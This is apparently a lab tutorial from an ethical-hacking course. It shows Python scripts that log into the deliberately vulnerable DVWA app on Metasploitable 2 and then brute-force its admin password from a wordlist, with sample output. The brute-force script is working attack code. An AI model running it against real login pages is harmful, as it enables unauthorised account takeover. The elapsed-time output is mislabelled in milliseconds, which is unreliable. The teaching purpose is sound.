

Python Guess Login Password

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Time required: 60 minutes

Tutorial 1: Post Login Form

This Tutorial will use Kali Linux and Metasploitable 2 to simulate guessing a password on a web site.

A web form uses a post request to post information to the form. A web login screen is a form. We can use the Python **requests.post()** method to login to a web site.

1. Set Kali Linux and Metasploitable 2 to your EthicalHacking Nat Network.
2. Start Metasploitable 2.
3. Login → use ip a to determine the ip address.
4. In Kali Linux → create a new Python file named: **post.py**
5. Enter the following code. Substitute your Metasploitable IP address in the target_url

```

1  #!/usr/bin/env python3
2  """
3      Filename: post.py
4      How to post to a web site
5      logon to DVWA metasploitable2
6  """
7
8  import requests
9
10 # Target Metasploitable 2 DVWA web server
11 # Use ip a to determine the ip address of your Metasploitable server
12 target_url = "http://10.10.1.5/dvwa/login.php"
13
14 # Contains information needed to logon to the web server
15 data_dict = {
16     "username": "admin",
17     "password": "password",
18     "Login": "submit"
19 }
20
21 # Post data to a form to logon to the web server
22 response = requests.post(
23     target_url,
24     data=data_dict
25 )
26
27 # Display the response
28 print(response.content)

```

Example run:

This shows the main web page html after we logged in with our post.py program.

```

b'\r\n<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://
ww.w3.org/1999/xhtml">\r\n\r\n\t<head>\r\n\r\n\t\t<meta http-equiv="Conten
rable Web App (DVWA) v1.0.7 :: Welcome</title>\r\n\r\n\r\n\t\t<link rel="s
l="icon" type="image/ico" href="favicon.ico" />\r\n\r\n\r\n\t\t<script t
\r\n\r\n\r\n\t<body class="home">\r\n\r\n\t\t<div id="container">\r\n\r\n\r\n\t\t\t
n Vulnerable Web App" />\r\n\r\n\r\n\t\t\t</div>\r\n\r\n\r\n\t\t\t<div id="mai
lick="window.location=\'\'.\'" class="selected"><a href=".">Home</a></li>
ructions.php">Instructions</a></li><li onclick="window.location=\'setu
window.location=\'vulnerabilities/brute/\'.\'" class=""><a href="vulnera
rabilities/exec/\'.\'" class=""><a href="vulnerabilities/exec/.">Command
" class=""><a href="vulnerabilities/csrf/.">CSRF</a></li><li onclick="
f="vulnerabilities/fi/.?page=include.php">File Inclusion</a></li><li o
erabilities/sqli/.">SQL Injection</a></li><li onclick="window.location=\'
blind/">SQL Injection (Blind)</a></li><li onclick="window.location=\'

```

Tutorial 2: Guess the Password

If we know the username, we can use **requests.post()** to **brute force** the password. Most logins have a setting to only allow so many attempts before the account is locked out. The DVWA does not have the feature.

1. In Kali Linux: Go to [passwords.txt](#) file.
2. Click the Copy button to copy the text to the clipboard.
3. Use nano or geany to create a **passwords.txt** in the same folder as the other Python programs.
At the end of it is the correct password: password.
4. On Kali Linux → Enter the following code:

```
1  #!/usr/bin/env python3
2  """
3      Filename: guess_password.py
4      Guess the password to the DVWA web site on metasploitable 2
5  """
6  import time as time
7  import requests
8
9  # Target Metasploitable 2 DVWA web server
10 # Change 10.10.1.5 to your dvwa IP address
11 target_url = "http://10.10.1.5/dvwa/login.php"
12
13 # Dictionary for form login submission
14 # We are going to guess the password
15 data_dict = {
16     "username": "admin",
17     "password": "",
18     "Login": "submit"
19 }
20
21 # The current time/start time
22 start_time = time.time()
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21 # The current time/start time
22 start_time = time.time()
23 print("[+] Starting password guess...")
24 # Open the passwords.txt as a wordlist to bruteforce the password
25 with open("passwords.txt", "r") as wordlist_file:
26     # Read the file one line at a time
27     for line in wordlist_file:
28
29         # Strip the \n character
30         word = line.strip()
31
32         # Put password from file into the dictionary
33         data_dict["password"] = word
34
35         # Post data to form
36         response = requests.post(target_url, data=data_dict)
37
38         # Get response in text (String) for comparison
39         # When Login failed is not in the response
40         # we have the password
41         if "Login failed" not in response.text:
42             # The current time/finish time
43             end_time = time.time()
44
45             # end - start to calculate elapsed time
46             time_elapsed = end_time - start_time
47             print(f"[+] Time elapsed: {time_elapsed:.2f} ms")
48
49             print(f"[+] Got the password --> {word}")
50             exit()
51
52 # If the password is not in the dictionary
53 # The current time/finish time
54 end_time = time.time()
55 # end - start to calculate elapsed time
56 time_elapsed = end_time - start_time
57 print(f"[+] Time elapsed: {time_elapsed:.2f} ms")
58 print("[+] Reached end of line.")

```

Example run:

```
(user@kali)-[~]  
$ python3 guess_password.py  
[+] Time elapsed: 0.09 ms  
[+] Got the password → password  
  
(user@kali)-[~]  
$
```

Assignment Submission

- Attach all program files.
- Insert a screenshot of successful runs of both programs.
- Submit the assignment in BlackBoard.